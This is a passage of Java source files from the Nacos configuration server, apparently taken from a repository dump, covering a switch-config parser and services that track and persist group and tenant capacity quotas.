    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.common.utils.IoUtils;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.springframework.stereotype.Service;\n\nimport java.io.IOException;\nimport java.io.StringReader;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static com.alibaba.nacos.config.server.utils.LogUtil.FATAL_LOG;\n\n/**\n * SwitchService.\n *\n * @author Nacos\n */\n@Service\npublic class SwitchService {\n    \n    public static final String SWITCH_META_DATA_ID = \"com.alibaba.nacos.meta.switch\";\n    \n    public static final String FIXED_DELAY_TIME = \"fixedDelayTime\";\n    \n    private static volatile Map<String, String> switches = new HashMap<>();\n    \n    public static int getSwitchInteger(String key, int defaultValue) {\n        int rtn;\n        try {\n            String status = switches.get(key);\n            rtn = status != null ? Integer.parseInt(status) : defaultValue;\n        } catch (Exception e) {\n            rtn = defaultValue;\n            LogUtil.FATAL_LOG.error(\"corrupt switch value {}={}\", key, switches.get(key));\n        }\n        return rtn;\n    }\n    \n    /**\n     * Load config.\n     *\n     * @param config config content string value.\n     */\n    public static void load(String config) {\n        if (StringUtils.isBlank(config)) {\n            FATAL_LOG.warn(\"switch config is blank.\");\n            return;\n        }\n        FATAL_LOG.warn(\"[switch-config] {}\", config);\n        \n        Map<String, String> map = new HashMap<>(30);\n        try (StringReader reader = new StringReader(config)) {\n            for (String line : IoUtils.readLines(reader)) {\n                if (!StringUtils.isBlank(line) && !line.startsWith(\"#\")) {\n                    String[] array = line.split(\"=\");\n                    \n                    if (array.length != 2) {\n                        LogUtil.FATAL_LOG.error(\"corrupt switch record {}\", line);\n                        continue;\n                    }\n                    \n                    String key = array[0].trim();\n                    String value = array[1].trim();\n                    \n                    map.put(key, value);\n                }\n                switches = map;\n                FATAL_LOG.warn(\"[reload-switches] {}\", getSwitches());\n            }\n        } catch (IOException e) {\n            LogUtil.FATAL_LOG.warn(\"[reload-switches] error! {}\", config);\n        }\n    }\n    \n    public static String getSwitches() {\n        StringBuilder sb = new StringBuilder();\n        \n        String split = \"\";\n        for (Map.Entry<String, String> entry : switches.entrySet()) {\n            String key = entry.getKey();\n            String value = entry.getValue();\n            sb.append(split);\n            sb.append(key);\n            sb.append('=');\n            sb.append(value);\n            split = \"; \";\n        }\n        \n        return sb.toString();\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/capacity/CapacityService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.capacity;\n\nimport com.alibaba.nacos.config.server.constant.CounterMode;\nimport com.alibaba.nacos.config.server.model.capacity.Capacity;\nimport com.alibaba.nacos.config.server.model.capacity.GroupCapacity;\nimport com.alibaba.nacos.config.server.model.capacity.NamespaceCapacity;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.config.server.utils.TimeUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.dao.DuplicateKeyException;\nimport org.springframework.stereotype.Service;\nimport org.springframework.util.StopWatch;\n\nimport javax.annotation.PostConstruct;\nimport java.sql.Timestamp;\nimport java.util.List;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Capacity service.\n *\n * @author hexu.hxy\n * @date 2018/03/05\n */\n@Service\npublic class CapacityService {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(CapacityService.class);\n    \n    private static final Integer ZERO = 0;\n    \n    private static final int INIT_PAGE_SIZE = 500;\n    \n    @Autowired\n    private GroupCapacityPersistService groupCapacityPersistService;\n    \n    @Autowired\n    private TenantCapacityPersistService tenantCapacityPersistService;\n    \n    @Autowired\n    private ConfigInfoPersistService configInfoPersistService;\n    \n    /**\n     * Init.\n     */\n    @PostConstruct\n    public void init() {\n        // All servers have jobs that modify usage, idempotent.\n        ConfigExecutor.scheduleCorrectUsageTask(() -> {\n            LOGGER.info(\"[capacityManagement] start correct usage\");\n            StopWatch watch = new StopWatch();\n            watch.start();\n            correctUsage();\n            watch.stop();\n            LOGGER.info(\"[capacityManagement] end correct usage, cost: {}s\", watch.getTotalTimeSeconds());\n            \n        }, PropertyUtil.getCorrectUsageDelay(), PropertyUtil.getCorrectUsageDelay(), TimeUnit.SECONDS);\n    }\n    \n    public void correctUsage() {\n        correctGroupUsage();\n        correctTenantUsage();\n    }\n    \n    /**\n     * Correct the usage of group capacity.\n     */\n    private void correctGroupUsage() {\n        long lastId = 0;\n        int pageSize = 100;\n        while (true) {\n            List<GroupCapacity> groupCapacityList = groupCapacityPersistService\n                    .getCapacityList4CorrectUsage(lastId, pageSize);\n            if (groupCapacityList.isEmpty()) {\n                break;\n            }\n            lastId = groupCapacityList.get(groupCapacityList.size() - 1).getId();\n            for (GroupCapacity groupCapacity : groupCapacityList) {\n                String group = groupCapacity.getGroupName();\n                groupCapacityPersistService.correctUsage(group, TimeUtils.getCurrentTime());\n            }\n            try {\n                Thread.sleep(100);\n            } catch (InterruptedException e) {\n                // ignore\n                // set the interrupted flag\n                Thread.currentThread().interrupt();\n            }\n        }\n    }\n    \n    public void correctGroupUsage(String group) {\n        groupCapacityPersistService.correctUsage(group, TimeUtils.getCurrentTime());\n    }\n    \n    public void correctTenantUsage(String tenant) {\n        tenantCapacityPersistService.correctUsage(tenant, TimeUtils.getCurrentTime());\n    }\n    \n    /**\n     * Correct the usage of group capacity.\n     */\n    private void correctTenantUsage() {\n        long lastId = 0;\n        int pageSize = 100;\n        while (true) {\n            List<NamespaceCapacity> tenantCapacityList = tenantCapacityPersistService\n                    .getCapacityList4CorrectUsage(lastId, pageSize);\n            if (tenantCapacityList.isEmpty()) {\n                break;\n            }\n            lastId = tenantCapacityList.get(tenantCapacityList.size() - 1).getId();\n            try {\n                Thread.sleep(100);\n            } catch (InterruptedException ignored) {\n            }\n            for (NamespaceCapacity tenantCapacity : tenantCapacityList) {\n                String tenant = tenantCapacity.getNamespaceId();\n                tenantCapacityPersistService.correctUsage(tenant, TimeUtils.getCurrentTime());\n            }\n        }\n    }\n    \n    public void initAllCapacity() {\n        initAllCapacity(false);\n        initAllCapacity(true);\n    }\n    \n    private void initAllCapacity(boolean isTenant) {\n        int page = 1;\n        while (true) {\n            List<String> list;\n            if (isTenant) {\n                list = configInfoPersistService.getTenantIdList(page, INIT_PAGE_SIZE);\n            } else {\n                list = configInfoPersistService.getGroupIdList(page, INIT_PAGE_SIZE);\n            }\n            for (String targetId : list) {\n                if (isTenant) {\n                    insertTenantCapacity(targetId);\n                    autoExpansion(null, targetId);\n                } else {\n                    insertGroupCapacity(targetId);\n                    autoExpansion(targetId, null);\n                }\n            }\n            if (list.size() < INIT_PAGE_SIZE) {\n                break;\n            }\n            try {\n                Thread.sleep(100);\n            } catch (InterruptedException ignored) {\n            }\n            ++page;\n        }\n    }\n    \n    /**\n     * To Cluster. 1.If the capacity information does not exist, initialize the capacity information. 2.Update capacity\n     * usage, plus or minus one.\n     *\n     * @param counterMode      increase or decrease mode.\n     * @param ignoreQuotaLimit ignoreQuotaLimit flag.\n     * @return the result of update cluster usage.\n     */\n    public boolean insertAndUpdateClusterUsage(CounterMode counterMode, boolean ignoreQuotaLimit) {\n        Capacity capacity = groupCapacityPersistService.getClusterCapacity();\n        if (capacity == null) {\n            insertGroupCapacity(GroupCapacityPersistService.CLUSTER);\n        }\n        return updateGroupUsage(counterMode, GroupCapacityPersistService.CLUSTER, PropertyUtil.getDefaultClusterQuota(),\n                ignoreQuotaLimit);\n    }\n    \n    public boolean updateClusterUsage(CounterMode counterMode) {\n        return updateGroupUsage(counterMode, GroupCapacityPersistService.CLUSTER, PropertyUtil.getDefaultClusterQuota(),\n                false);\n    }\n    \n    /**\n     * It is used for counting when the limit check function of capacity management is turned off. 1.If the capacity\n     * information does not exist, initialize the capacity information. 2.Update capacity usage, plus or minus one.\n     *\n     * @param counterMode      increase or decrease mode.\n     * @param group            tenant string value.\n     * @param ignoreQuotaLimit ignoreQuotaLimit flag.\n     * @return operate successfully or not.\n     */\n    public boolean insertAndUpdateGroupUsage(CounterMode counterMode, String group, boolean ignoreQuotaLimit) {\n        GroupCapacity groupCapacity = getGroupCapacity(group);\n        if (groupCapacity == null) {\n            initGroupCapacity(group, null, null, null, null);\n        }\n        return updateGroupUsage(counterMode, group, PropertyUtil.getDefaultGroupQuota(), ignoreQuotaLimit);\n    }\n    \n    public boolean updateGroupUsage(CounterMode counterMode, String group) {\n        return updateGroupUsage(counterMode, group, PropertyUtil.getDefaultGroupQuota(), false);\n    }\n    \n    private boolean updateGroupUsage(CounterMode counterMode, String group, int defaultQuota,\n            boolean ignoreQuotaLimit) {\n        final Timestamp now = TimeUtils.getCurrentTime();\n        GroupCapacity groupCapacity = new GroupCapacity();\n        groupCapacity.setGroupName(group);\n        groupCapacity.setQuota(defaultQuota);\n        groupCapacity.setGmtModified(now);\n        if (CounterMode.INCREMENT == counterMode) {\n            if (ignoreQuotaLimit) {\n                return groupCapacityPersistService.incrementUsage(groupCapacity);\n            }\n            // First update the quota according to the default value. In most cases, it is the default value.\n            // The quota field in the default value table is 0\n            return groupCapacityPersistService.incrementUsageWithDefaultQuotaLimit(groupCapacity)\n                    || groupCapacityPersistService.incrementUsageWithQuotaLimit(groupCapacity);\n        }\n        return groupCapacityPersistService.decrementUsage(groupCapacity);\n    }\n    \n    public GroupCapacity getGroupCapacity(String group) {\n        return groupCapacityPersistService.getGroupCapacity(group);\n    }\n    \n    /**\n     * Initialize the capacity information of the group. If the quota is reached, the capacity will be automatically\n     * expanded to reduce the operation and maintenance cost.\n     *\n     * @param group group string value.\n     * @return init result.\n     */\n    public boolean initGroupCapacity(String group) {\n        return initGroupCapacity(group, null, null, null, null);\n    }\n    \n    /**\n     * Initialize the capacity information of the group. If the quota is reached, the capacity will be automatically\n     * expanded to reduce the operation and maintenance cost.\n     *\n     * @param group        group string value.\n     * @param quota        quota int value.\n     * @param maxSize      maxSize int value.\n     * @param maxAggrCount maxAggrCount int value.\n     * @param maxAggrSize  maxAggrSize int value.\n     * @return init result.\n     */\n    private boolean initGroupCapacity(String group, Integer quota, Integer maxSize, Integer maxAggrCount,\n            Integer maxAggrSize) {\n        boolean insertSuccess = insertGroupCapacity(group, quota, maxSize, maxAggrCount, maxAggrSize);\n        if (quota == null) {\n            autoExpansion(group, null);\n        }\n        return insertSuccess;\n    }\n    \n    /**\n     * Expand capacity automatically.\n     *\n     * @param group  group string value.\n     * @param tenant tenant string value.\n     */\n    private void autoExpansion(String group, String tenant) {\n        Capacity capacity = getCapacity(group, tenant);\n        int defaultQuota = getDefaultQuota(tenant != null);\n        Integer usage = capacity.getUsage();\n        if (usage < defaultQuota) {\n            return;\n        }\n        // Initialize the capacity information of the group. If the quota is reached,\n        // the capacity will be automatically expanded to reduce the operation and maintenance cost.\n        int initialExpansionPercent = PropertyUtil.getInitialExpansionPercent();\n        if (initialExpansionPercent > 0) {\n            int finalQuota = (int) (usage + defaultQuota * (1.0 * initialExpansionPercent / 100));\n            if (tenant != null) {\n                tenantCapacityPersistService.updateQuota(tenant, finalQuota);\n                LogUtil.DEFAULT_LOG.warn(\"[capacityManagement] The usage({}) already reach the upper limit({}) when init the tenant({}), \"\n                        + \"automatic upgrade to ({})\", usage, defaultQuota, tenant, finalQuota);\n            } else {\n                groupCapacityPersistService.updateQuota(group, finalQuota);\n                LogUtil.DEFAULT_LOG.warn(\"[capacityManagement] The usage({}) already reach the upper limit({}) when init the group({}), \"\n                        + \"automatic upgrade to ({})\", usage, defaultQuota, group, finalQuota);\n            }\n        }\n    }\n    \n    private int getDefaultQuota(boolean isTenant) {\n        if (isTenant) {\n            return PropertyUtil.getDefaultTenantQuota();\n        }\n        return PropertyUtil.getDefaultGroupQuota();\n    }\n    \n    public Capacity getCapacity(String group, String tenant) {\n        if (tenant != null) {\n            return getTenantCapacity(tenant);\n        }\n        return getGroupCapacity(group);\n    }\n    \n    public Capacity getCapacityWithDefault(String group, String tenant) {\n        Capacity capacity;\n        boolean isTenant = StringUtils.isNotBlank(tenant);\n        if (isTenant) {\n            capacity = getTenantCapacity(tenant);\n        } else {\n            capacity = getGroupCapacity(group);\n        }\n        if (capacity == null) {\n            return null;\n        }\n        Integer quota = capacity.getQuota();\n        if (quota == 0) {\n            if (isTenant) {\n                capacity.setQuota(PropertyUtil.getDefaultTenantQuota());\n            } else {\n                if (GroupCapacityPersistService.CLUSTER.equals(group)) {\n                    capacity.setQuota(PropertyUtil.getDefaultClusterQuota());\n                } else {\n                    capacity.setQuota(PropertyUtil.getDefaultGroupQuota());\n                }\n            }\n        }\n        Integer maxSize = capacity.getMaxSize();\n        if (maxSize == 0) {\n            capacity.setMaxSize(PropertyUtil.getDefaultMaxSize());\n        }\n        Integer maxAggrCount = capacity.getMaxAggrCount();\n        if (maxAggrCount == 0) {\n            capacity.setMaxAggrCount(PropertyUtil.getDefaultMaxAggrCount());\n        }\n        Integer maxAggrSize = capacity.getMaxAggrSize();\n        if (maxAggrSize == 0) {\n            capacity.setMaxAggrSize(PropertyUtil.getDefaultMaxAggrSize());\n        }\n        return capacity;\n    }\n    \n    /**\n     * Init capacity.\n     *\n     * @param group  group string value.\n     * @param tenant tenant string value.\n     * @return init result.\n     */\n    public boolean initCapacity(String group, String tenant) {\n        if (StringUtils.isNotBlank(tenant)) {\n            return initTenantCapacity(tenant);\n        }\n        if (GroupCapacityPersistService.CLUSTER.equals(group)) {\n            return insertGroupCapacity(GroupCapacityPersistService.CLUSTER);\n        }\n        // Group can expand capacity automatically.\n        return initGroupCapacity(group);\n    }\n    \n    private boolean insertGroupCapacity(String group) {\n        return insertGroupCapacity(group, null, null, null, null);\n    }\n    \n    private boolean insertGroupCapacity(String group, Integer quota, Integer maxSize, Integer maxAggrCount,\n            Integer maxAggrSize) {\n        try {\n            final Timestamp now = TimeUtils.getCurrentTime();\n            GroupCapacity groupCapacity = new GroupCapacity();\n            groupCapacity.setGroupName(group);\n            // When adding a new quota, quota = 0 means that the quota is the default value.\n            // In order to update the default quota, only the Nacos configuration needs to be modified,\n            // and most of the data in the table need not be updated.\n            groupCapacity.setQuota(quota == null ? ZERO : quota);\n            \n            // When adding new data, maxsize = 0 means that the size is the default value.\n            // In order to update the default size, you only need to modify the Nacos configuration without updating most of the data in the table.\n            groupCapacity.setMaxSize(maxSize == null ? ZERO : maxSize);\n            groupCapacity.setMaxAggrCount(maxAggrCount == null ? ZERO : maxAggrCount);\n            groupCapacity.setMaxAggrSize(maxAggrSize == null ? ZERO : maxAggrSize);\n            groupCapacity.setGmtCreate(now);\n            groupCapacity.setGmtModified(now);\n            return groupCapacityPersistService.insertGroupCapacity(groupCapacity);\n        } catch (DuplicateKeyException e) {\n            // this exception will meet when concurrent insert，ignore it\n            LogUtil.DEFAULT_LOG.warn(\"group: {}, message: {}\", group, e.getMessage());\n        }\n        return false;\n    }\n    \n    /**\n     * It is used for counting when the limit check function of capacity management is turned off. 1.If the capacity\n     * information does not exist, initialize the capacity information. 2.Update capacity usage, plus or minus one.\n     *\n     * @param counterMode      increase or decrease mode.\n     * @param tenant           tenant string value.\n     * @param ignoreQuotaLimit ignoreQuotaLimit flag.\n     * @return operate successfully or not.\n     */\n    public boolean insertAndUpdateTenantUsage(CounterMode counterMode, String tenant, boolean ignoreQuotaLimit) {\n        NamespaceCapacity tenantCapacity = getTenantCapacity(tenant);\n        if (tenantCapacity == null) {\n            // Init capacity information.\n            initTenantCapacity(tenant);\n        }\n        return updateTenantUsage(counterMode, tenant, ignoreQuotaLimit);\n    }\n    \n    private boolean updateTenantUsage(CounterMode counterMode, String tenant, boolean ignoreQuotaLimit) {\n        final Timestamp now = TimeUtils.getCurrentTime();\n        NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n        tenantCapacity.setNamespaceId(tenant);\n        tenantCapacity.setQuota(PropertyUtil.getDefaultTenantQuota());\n        tenantCapacity.setGmtModified(now);\n        if (CounterMode.INCREMENT == counterMode) {\n            if (ignoreQuotaLimit) {\n                return tenantCapacityPersistService.incrementUsage(tenantCapacity);\n            }\n            // First update the quota according to the default value. In most cases, it is the default value.\n            // The quota field in the default value table is 0.\n            return tenantCapacityPersistService.incrementUsageWithDefaultQuotaLimit(tenantCapacity)\n                    || tenantCapacityPersistService.incrementUsageWithQuotaLimit(tenantCapacity);\n        }\n        return tenantCapacityPersistService.decrementUsage(tenantCapacity);\n    }\n    \n    public boolean updateTenantUsage(CounterMode counterMode, String tenant) {\n        return updateTenantUsage(counterMode, tenant, false);\n    }\n    \n    /**\n     * Initialize the capacity information of the tenant. If the quota is reached, the capacity will be automatically\n     * expanded to reduce the operation and maintenance cos.\n     *\n     * @param tenant tenant string value.\n     * @return init result.\n     */\n    public boolean initTenantCapacity(String tenant) {\n        return initTenantCapacity(tenant, null, null, null, null);\n    }\n    \n    /**\n     * Initialize the capacity information of the tenant. If the quota is reached, the capacity will be automatically\n     * expanded to reduce the operation and maintenance cost\n     *\n     * @param tenant       tenant string value.\n     * @param quota        quota int value.\n     * @param maxSize      maxSize int value.\n     * @param maxAggrCount maxAggrCount int value.\n     * @param maxAggrSize  maxAggrSize int value.\n     * @return\n     */\n    public boolean initTenantCapacity(String tenant, Integer quota, Integer maxSize, Integer maxAggrCount,\n            Integer maxAggrSize) {\n        boolean insertSuccess = insertTenantCapacity(tenant, quota, maxSize, maxAggrCount, maxAggrSize);\n        if (quota != null) {\n            return insertSuccess;\n        }\n        autoExpansion(null, tenant);\n        return insertSuccess;\n    }\n    \n    private boolean insertTenantCapacity(String tenant) {\n        return insertTenantCapacity(tenant, null, null, null, null);\n    }\n    \n    private boolean insertTenantCapacity(String tenant, Integer quota, Integer maxSize, Integer maxAggrCount,\n            Integer maxAggrSize) {\n        try {\n            final Timestamp now = TimeUtils.getCurrentTime();\n            NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n            tenantCapacity.setNamespaceId(tenant);\n            // When adding a new quota, quota = 0 means that the quota is the default value.\n            // In order to update the default quota, only the Nacos configuration needs to be modified,\n            // and most of the data in the table need not be updated.\n            tenantCapacity.setQuota(quota == null ? ZERO : quota);\n            \n            // When adding new data, maxsize = 0 means that the size is the default value.\n            // In order to update the default size, you only need to modify the Nacos configuration without updating most of the data in the table.\n            tenantCapacity.setMaxSize(maxSize == null ? ZERO : maxSize);\n            tenantCapacity.setMaxAggrCount(maxAggrCount == null ? ZERO : maxAggrCount);\n            tenantCapacity.setMaxAggrSize(maxAggrSize == null ? ZERO : maxAggrSize);\n            tenantCapacity.setGmtCreate(now);\n            tenantCapacity.setGmtModified(now);\n            return tenantCapacityPersistService.insertTenantCapacity(tenantCapacity);\n        } catch (DuplicateKeyException e) {\n            // this exception will meet when concurrent insert，ignore it\n            LogUtil.DEFAULT_LOG.warn(\"tenant: {}, message: {}\", tenant, e.getMessage());\n        }\n        return false;\n    }\n    \n    public NamespaceCapacity getTenantCapacity(String tenant) {\n        return tenantCapacityPersistService.getTenantCapacity(tenant);\n    }\n    \n    /**\n     * Support for API interface, Tenant: initialize if the record does not exist, and update the capacity quota or\n     * content size directly if it exists.\n     *\n     * @param group        group string value.\n     * @param tenant       tenant string value.\n     * @param quota        quota int value.\n     * @param maxSize      maxSize int value.\n     * @param maxAggrCount maxAggrCount int value.\n     * @param maxAggrSize  maxAggrSize int value.\n     * @return operate successfully or not.\n     */\n    public boolean insertOrUpdateCapacity(String group, String tenant, Integer quota, Integer maxSize,\n            Integer maxAggrCount, Integer maxAggrSize) {\n        if (StringUtils.isNotBlank(tenant)) {\n            Capacity capacity = tenantCapacityPersistService.getTenantCapacity(tenant);\n            if (capacity == null) {\n                return initTenantCapacity(tenant, quota, maxSize, maxAggrCount, maxAggrSize);\n            }\n            return tenantCapacityPersistService.updateTenantCapacity(tenant, quota, maxSize, maxAggrCount, maxAggrSize);\n        }\n        Capacity capacity = groupCapacityPersistService.getGroupCapacity(group);\n        if (capacity == null) {\n            return initGroupCapacity(group, quota, maxSize, maxAggrCount, maxAggrSize);\n        }\n        return groupCapacityPersistService.updateGroupCapacity(group, quota, maxSize, maxAggrCount, maxAggrSize);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/capacity/GroupCapacityPersistService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.capacity;\n\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.config.server.model.capacity.Capacity;\nimport com.alibaba.nacos.config.server.model.capacity.GroupCapacity;\nimport com.alibaba.nacos.config.server.utils.TimeUtils;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.plugin.datasource.MapperManager;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.FieldConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.TableConstant;\nimport com.alibaba.nacos.plugin.datasource.mapper.ConfigInfoMapper;\nimport com.alibaba.nacos.plugin.datasource.mapper.GroupCapacityMapper;\nimport com.alibaba.nacos.plugin.datasource.model.MapperContext;\nimport com.alibaba.nacos.plugin.datasource.model.MapperResult;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.springframework.jdbc.CannotGetJdbcConnectionException;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.jdbc.core.PreparedStatementCreator;\nimport org.springframework.jdbc.core.RowMapper;\nimport org.springframework.stereotype.Service;\n\nimport javax.annotation.PostConstruct;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Timestamp;\nimport java.util.Collections;\nimport java.util.List;\n\nimport static com.alibaba.nacos.config.server.utils.LogUtil.FATAL_LOG;\n\n/**\n * Group Capacity Service.\n *\n * @author hexu.hxy\n * @date 2018/03/05\n */\n@Service\npublic class GroupCapacityPersistService {\n    \n    static final String CLUSTER = \"\";\n    \n    private static final GroupCapacityRowMapper GROUP_CAPACITY_ROW_MAPPER = new GroupCapacityRowMapper();\n    \n    private JdbcTemplate jdbcTemplate;\n    \n    private DataSourceService dataSourceService;\n    \n    private MapperManager mapperManager;\n    \n    /**\n     * init.\n     */\n    @PostConstruct\n    public void init() {\n        this.dataSourceService = DynamicDataSource.getInstance().getDataSource();\n        this.jdbcTemplate = dataSourceService.getJdbcTemplate();\n        Boolean isDataSourceLogEnable = EnvUtil.getProperty(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG, Boolean.class,\n                false);\n        this.mapperManager = MapperManager.instance(isDataSourceLogEnable);\n    }\n    \n    static final class GroupCapacityRowMapper implements RowMapper<GroupCapacity> {\n        \n        @Override\n        public GroupCapacity mapRow(ResultSet rs, int rowNum) throws SQLException {\n            GroupCapacity groupCapacity = new GroupCapacity();\n            groupCapacity.setId(rs.getLong(\"id\"));\n            groupCapacity.setQuota(rs.getInt(\"quota\"));\n            groupCapacity.setUsage(rs.getInt(\"usage\"));\n            groupCapacity.setMaxSize(rs.getInt(\"max_size\"));\n            groupCapacity.setMaxAggrCount(rs.getInt(\"max_aggr_count\"));\n            groupCapacity.setMaxAggrSize(rs.getInt(\"max_aggr_size\"));\n            groupCapacity.setGroupName(rs.getString(\"group_id\"));\n            return groupCapacity;\n        }\n    }\n    \n    public GroupCapacity getGroupCapacity(String groupId) {\n        GroupCapacityMapper groupCapacityMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.GROUP_CAPACITY);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.GROUP_ID, groupId);\n        MapperResult mapperResult = groupCapacityMapper.select(context);\n        List<GroupCapacity> list = jdbcTemplate.query(mapperResult.getSql(), GROUP_CAPACITY_ROW_MAPPER,\n                mapperResult.getParamList().toArray());\n        if (list.isEmpty()) {\n            return null;\n        }\n        return list.get(0);\n    }\n    \n    public Capacity getClusterCapacity() {\n        return getGroupCapacity(CLUSTER);\n    }\n    \n    /**\n     * Insert GroupCapacity into db.\n     *\n     * @param capacity capacity object instance.\n     * @return operate result.\n     */\n    public boolean insertGroupCapacity(final GroupCapacity capacity) {\n        GroupCapacityMapper groupCapacityMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.GROUP_CAPACITY);\n        MapperResult mapperResult;\n        MapperContext context = new MapperContext();\n        context.putUpdateParameter(FieldConstant.GROUP_ID, capacity.getGroupName());\n        context.putUpdateParameter(FieldConstant.QUOTA, capacity.getQuota());\n        context.putUpdateParameter(FieldConstant.MAX_SIZE, capacity.getMaxSize());\n        context.putUpdateParameter(FieldConstant.MAX_AGGR_SIZE, capacity.getMaxAggrSize());\n        context.putUpdateParameter(FieldConstant.MAX_AGGR_COUNT, capacity.getMaxAggrCount());\n        context.putUpdateParameter(FieldConstant.GMT_CREATE, capacity.getGmtCreate());\n        context.putUpdateParameter(FieldConstant.GMT_MODIFIED, capacity.getGmtModified());\n        \n        context.putWhereParameter(FieldConstant.GROUP_ID, capacity.getGroupName());\n        if (CLUSTER.equals(capacity.getGroupName())) {\n            mapperResult = groupCapacityMapper.insertIntoSelect(context);\n        } else {\n            // Note: add \"tenant_id = ''\" condition.\n            mapperResult = groupCapacityMapper.insertIntoSelectByWhere(context);\n        }\n        return jdbcTemplate.update(mapperResult.getSql(), mapperResult.getParamList().toArray()) > 0;\n    }\n    \n    public int getClusterUsage() {\n        Capacity clusterCapacity = getClusterCapacity();\n        if (clusterCapacity != null) {\n            return clusterCapacity.getUsage();\n        }\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        String sql = configInfoMapper.count(null);\n        Integer result = jdbcTemplate.queryForObject(sql, Integer.class);\n        if (result == null) {\n            throw new IllegalArgumentException(\"configInfoCount error\");\n        }\n        return result.intValue();\n    }\n    \n    /**\n     * Increment UsageWithDefaultQuotaLimit.\n     *\n     * @param groupCapacity groupCapacity object instance.\n     * @return operate result.\n     */\n    public boolean incrementUsageWithDefaultQuotaLimit(GroupCapacity groupCapacity) {\n        GroupCapacityMapper groupCapacityMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.GROUP_CAPACITY);\n        MapperContext context = new MapperContext();\n        context.putUpdateParameter(FieldConstant.GMT_MODIFIED, groupCapacity.getGmtModified());\n        context.putWhereParameter(FieldConstant.GROUP_ID, groupCapacity.getGroupName());\n        context.putWhereParameter(FieldConstant.USAGE, groupCapacity.getQuota());\n        MapperResult mapperResult = groupCapacityMapper.incrementUsageByWhereQuotaEqualZero(context);\n        try {\n            int affectRow = jdbcTemplate.update(mapperResult.getSql(), mapperResult.getParamList().toArray());\n            return affectRow == 1;\n        } catch (CannotGetJdbcConnectionException e) {\n            FATAL_LOG.error(\"[db-error]\", e);\n            throw e;\n        }\n    }\n    \n    /**\n     * Increment UsageWithQuotaLimit.\n     *\n     * @param groupCapacity groupCapacity object instance.\n     * @return operate result.\n     */\n    public boolean incrementUsageWithQuotaLimit(GroupCapacity groupCapacity) {\n        GroupCapacityMapper groupCapacityMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.GROUP_CAPACITY);\n        MapperContext context = new MapperContext();\n        context.putUpdateParameter(FieldConstant.GMT_MODIFIED, groupCapacity.getGmtModified());\n        context.putWhereParameter(FieldConstant.GROUP_ID, groupCapacity.getGroupName());\n        MapperResult mapperResult = groupCapacityMapper.incrementUsageByWhereQuotaNotEqualZero(context);\n        try {\n            return jdbcTemplate.update(mapperResult.getSql(), mapperResult.getParamList().toArray()) == 1;\n        } catch (CannotGetJdbcConnectionException e) {\n            FATAL_LOG.error(\"[db-error]\", e);\n            throw e;\n            \n        }\n    }\n    \n    /**\n     * Increment Usage.\n     *\n     * @param groupCapacity groupCapacity object instance.\n     * @return operate result.\n     */\n    public boolean incrementUsage(GroupCapacity groupCapacity) {\n        GroupCapacityMapper 